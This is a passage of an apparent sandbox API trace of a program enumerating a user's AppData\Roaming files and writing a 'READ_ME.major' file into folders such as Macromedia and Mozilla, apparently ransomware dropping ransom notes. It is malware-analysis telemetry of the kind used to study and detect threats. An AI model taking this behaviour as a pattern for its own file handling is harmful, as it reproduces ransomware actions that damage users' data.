(HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58f010 [0155.035] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a6de240, ftCreationTime.dwHighDateTime=0x1d4d49f, ftLastAccessTime.dwLowDateTime=0xcbdd5170, ftLastAccessTime.dwHighDateTime=0x1d4cdb9, ftLastWriteTime.dwLowDateTime=0xcbdd5170, ftLastWriteTime.dwHighDateTime=0x1d4cdb9, nFileSizeHigh=0x0, nFileSizeLow=0xa896, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="J wJP3QqtMQql1WF11F9.wav", cAlternateFileName="JWJP3Q~1.WAV")) returned 1 [0155.035] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0155.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0155.035] GetLastError () returned 0x0 [0155.035] SetLastError (dwErrCode=0x0) [0155.035] GetLastError () returned 0x0 [0155.035] SetLastError (dwErrCode=0x0) [0155.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0155.035] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0155.035] GetLastError () returned 0x0 [0155.035] SetLastError (dwErrCode=0x0) [0155.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0155.035] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0155.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0155.035] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x688550c0, ftCreationTime.dwHighDateTime=0x1d4cd67, ftLastAccessTime.dwLowDateTime=0x9bb39130, ftLastAccessTime.dwHighDateTime=0x1d4ce27, ftLastWriteTime.dwLowDateTime=0x9bb39130, ftLastWriteTime.dwHighDateTime=0x1d4ce27, nFileSizeHigh=0x0, nFileSizeLow=0x13a03, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LgcAqJUZEzD.mp3", cAlternateFileName="LGCAQJ~1.MP3")) returned 1 [0155.036] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0155.036] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0155.036] GetLastError () returned 0x0 [0155.036] SetLastError (dwErrCode=0x0) [0155.036] GetLastError () returned 0x0 [0155.036] SetLastError (dwErrCode=0x0) [0155.036] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0155.036] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0155.036] GetLastError () returned 0x0 [0155.036] SetLastError (dwErrCode=0x0) [0155.036] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1040 [0155.036] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1040 | out: hHeap=0x570000) returned 1 [0155.036] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b68b0 [0155.036] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0155.036] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.036] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0155.036] GetLastError () returned 0x0 [0155.036] SetLastError (dwErrCode=0x0) [0155.037] GetLastError () returned 0x0 [0155.037] SetLastError (dwErrCode=0x0) [0155.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0155.037] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0155.037] GetLastError () returned 0x0 [0155.037] SetLastError (dwErrCode=0x0) [0155.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1068 [0155.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.037] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1068 | out: hHeap=0x570000) returned 1 [0155.037] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0155.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1090 [0155.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0155.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0155.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0155.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0155.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0155.037] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0155.037] GetLastError () returned 0x0 [0155.037] SetLastError (dwErrCode=0x0) [0155.037] GetLastError () returned 0x0 [0155.037] SetLastError (dwErrCode=0x0) [0155.037] GetLastError () returned 0x0 [0155.037] SetLastError (dwErrCode=0x0) [0155.037] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0155.038] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.038] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0155.038] WriteFile (in: hFile=0x6a8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0155.039] CloseHandle (hObject=0x6a8) returned 1 [0155.039] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0155.039] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0155.039] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0155.039] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0155.039] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0155.039] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0155.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0155.040] GetLastError () returned 0x0 [0155.040] SetLastError (dwErrCode=0x0) [0155.040] GetLastError () returned 0x0 [0155.040] SetLastError (dwErrCode=0x0) [0155.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0155.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0155.040] GetLastError () returned 0x0 [0155.040] SetLastError (dwErrCode=0x0) [0155.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1068 [0155.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1068 | out: hHeap=0x570000) returned 1 [0155.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0155.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11d0 [0155.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bebb0 [0155.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0155.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1130 [0155.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631680 [0155.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631680 | out: hHeap=0x570000) returned 1 [0155.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1040 [0155.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0155.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0155.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1040 | out: hHeap=0x570000) returned 1 [0155.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1130 | out: hHeap=0x570000) returned 1 [0155.041] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11d0 | out: hHeap=0x570000) returned 1 [0155.041] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.041] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0155.041] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0155.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0155.041] GetLastError () returned 0x0 [0155.041] SetLastError (dwErrCode=0x0) [0155.041] GetLastError () returned 0x0 [0155.041] SetLastError (dwErrCode=0x0) [0155.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0155.041] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0155.041] GetLastError () returned 0x0 [0155.041] SetLastError (dwErrCode=0x0) [0155.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be948 [0155.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1040 [0155.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0155.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0155.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0155.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0155.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0155.041] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0155.041] GetLastError () returned 0x0 [0155.041] SetLastError (dwErrCode=0x0) [0155.041] GetLastError () returned 0x0 [0155.041] SetLastError (dwErrCode=0x0) [0155.041] GetLastError () returned 0x0 [0155.041] SetLastError (dwErrCode=0x0) [0155.042] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd9e8 [0155.042] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.042] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0155.042] WriteFile (in: hFile=0x6a8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0155.043] CloseHandle (hObject=0x6a8) returned 1 [0155.043] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0155.043] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0155.043] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0155.043] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0155.043] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6858c220, ftCreationTime.dwHighDateTime=0x1d4d470, ftLastAccessTime.dwLowDateTime=0xf43fd8b0, ftLastAccessTime.dwHighDateTime=0x1d4ca01, ftLastWriteTime.dwLowDateTime=0xf43fd8b0, ftLastWriteTime.dwHighDateTime=0x1d4ca01, nFileSizeHigh=0x0, nFileSizeLow=0x1e39, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="O2vF28u35n5d.jpg", cAlternateFileName="O2VF28~1.JPG")) returned 1 [0155.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0155.044] GetLastError () returned 0x0 [0155.044] SetLastError (dwErrCode=0x0) [0155.044] GetLastError () returned 0x0 [0155.044] SetLastError (dwErrCode=0x0) [0155.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0155.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0155.044] GetLastError () returned 0x0 [0155.044] SetLastError (dwErrCode=0x0) [0155.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0155.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0155.044] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfff820, ftCreationTime.dwHighDateTime=0x1d4cd95, ftLastAccessTime.dwLowDateTime=0xaeb59680, ftLastAccessTime.dwHighDateTime=0x1d4c70f, ftLastWriteTime.dwLowDateTime=0xaeb59680, ftLastWriteTime.dwHighDateTime=0x1d4c70f, nFileSizeHigh=0x0, nFileSizeLow=0x5051, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="oN9ww_0Ihya.ots", cAlternateFileName="ON9WW_~1.OTS")) returned 1 [0155.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0155.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0155.044] GetLastError () returned 0x0 [0155.044] SetLastError (dwErrCode=0x0) [0155.044] GetLastError () returned 0x0 [0155.044] SetLastError (dwErrCode=0x0) [0155.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0155.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0155.044] GetLastError () returned 0x0 [0155.044] SetLastError (dwErrCode=0x0) [0155.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0155.045] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75ae3a80, ftCreationTime.dwHighDateTime=0x1d4c6c0, ftLastAccessTime.dwLowDateTime=0xc7f801a0, ftLastAccessTime.dwHighDateTime=0x1d4d182, ftLastWriteTime.dwLowDateTime=0xc7f801a0, ftLastWriteTime.dwHighDateTime=0x1d4d182, nFileSizeHigh=0x0, nFileSizeLow=0x145a8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Oq8bnDM.mp4", cAlternateFileName="")) returned 1 [0155.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0155.045] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0155.045] GetLastError () returned 0x0 [0155.045] SetLastError (dwErrCode=0x0) [0155.045] GetLastError () returned 0x0 [0155.045] SetLastError (dwErrCode=0x0) [0155.045] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0155.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0155.045] GetLastError () returned 0x0 [0155.045] SetLastError (dwErrCode=0x0) [0155.045] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.045] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0155.045] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aae32c0, ftCreationTime.dwHighDateTime=0x1d4ca7d, ftLastAccessTime.dwLowDateTime=0x4757e5c0, ftLastAccessTime.dwHighDateTime=0x1d4c862, ftLastWriteTime.dwLowDateTime=0x4757e5c0, ftLastWriteTime.dwHighDateTime=0x1d4c862, nFileSizeHigh=0x0, nFileSizeLow=0x483c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="O_EoIb.png", cAlternateFileName="")) returned 1 [0155.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.045] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0155.045] GetLastError () returned 0x0 [0155.045] SetLastError (dwErrCode=0x0) [0155.045] GetLastError () returned 0x0 [0155.045] SetLastError (dwErrCode=0x0) [0155.045] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0155.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0155.045] GetLastError () returned 0x0 [0155.045] SetLastError (dwErrCode=0x0) [0155.045] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1068 [0155.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1068 | out: hHeap=0x570000) returned 1 [0155.045] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0155.046] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb92d4180, ftCreationTime.dwHighDateTime=0x1d4c5cf, ftLastAccessTime.dwLowDateTime=0xa949d6c0, ftLastAccessTime.dwHighDateTime=0x1d4c593, ftLastWriteTime.dwLowDateTime=0xa949d6c0, ftLastWriteTime.dwHighDateTime=0x1d4c593, nFileSizeHigh=0x0, nFileSizeLow=0xd1f7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="qUHTUX36HLp05nP.ods", cAlternateFileName="QUHTUX~1.ODS")) returned 1 [0155.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0155.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0155.046] GetLastError () returned 0x0 [0155.046] SetLastError (dwErrCode=0x0) [0155.046] GetLastError () returned 0x0 [0155.046] SetLastError (dwErrCode=0x0) [0155.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0155.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0155.046] GetLastError () returned 0x0 [0155.046] SetLastError (dwErrCode=0x0) [0155.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0155.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0155.046] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17c4f1e0, ftCreationTime.dwHighDateTime=0x1d4ccef, ftLastAccessTime.dwLowDateTime=0xb42a2930, ftLastAccessTime.dwHighDateTime=0x1d4d139, ftLastWriteTime.dwLowDateTime=0xb42a2930, ftLastWriteTime.dwHighDateTime=0x1d4d139, nFileSizeHigh=0x0, nFileSizeLow=0x13f8d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="R E5gtd14baa.mkv", cAlternateFileName="RE5GTD~1.MKV")) returned 1 [0155.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0155.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0155.046] GetLastError () returned 0x0 [0155.046] SetLastError (dwErrCode=0x0) [0155.046] GetLastError () returned 0x0 [0155.046] SetLastError (dwErrCode=0x0) [0155.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0155.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0155.046] GetLastError () returned 0x0 [0155.046] SetLastError (dwErrCode=0x0) [0155.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0155.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0155.047] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152842a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15c0d8f5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0155.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0155.047] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0155.047] GetLastError () returned 0x0 [0155.047] SetLastError (dwErrCode=0x0) [0155.047] GetLastError () returned 0x0 [0155.047] SetLastError (dwErrCode=0x0) [0155.047] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0155.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0155.047] GetLastError () returned 0x0 [0155.047] SetLastError (dwErrCode=0x0) [0155.047] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1068 [0155.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1068 | out: hHeap=0x570000) returned 1 [0155.047] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e383cb0, ftCreationTime.dwHighDateTime=0x1d4cacc, ftLastAccessTime.dwLowDateTime=0x2da43670, ftLastAccessTime.dwHighDateTime=0x1d4c5eb, ftLastWriteTime.dwLowDateTime=0x2da43670, ftLastWriteTime.dwHighDateTime=0x1d4c5eb, nFileSizeHigh=0x0, nFileSizeLow=0x2b5a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="scl0E03IE5Rcs.mp4", cAlternateFileName="SCL0E0~1.MP4")) returned 1 [0155.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0155.047] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0155.047] GetLastError () returned 0x0 [0155.047] SetLastError (dwErrCode=0x0) [0155.047] GetLastError () returned 0x0 [0155.047] SetLastError (dwErrCode=0x0) [0155.047] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0155.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0155.047] GetLastError () returned 0x0 [0155.047] SetLastError (dwErrCode=0x0) [0155.047] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4128 [0155.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4128 | out: hHeap=0x570000) returned 1 [0155.047] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0155.047] FindNextFileW (in: hFindFile=0x631180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, 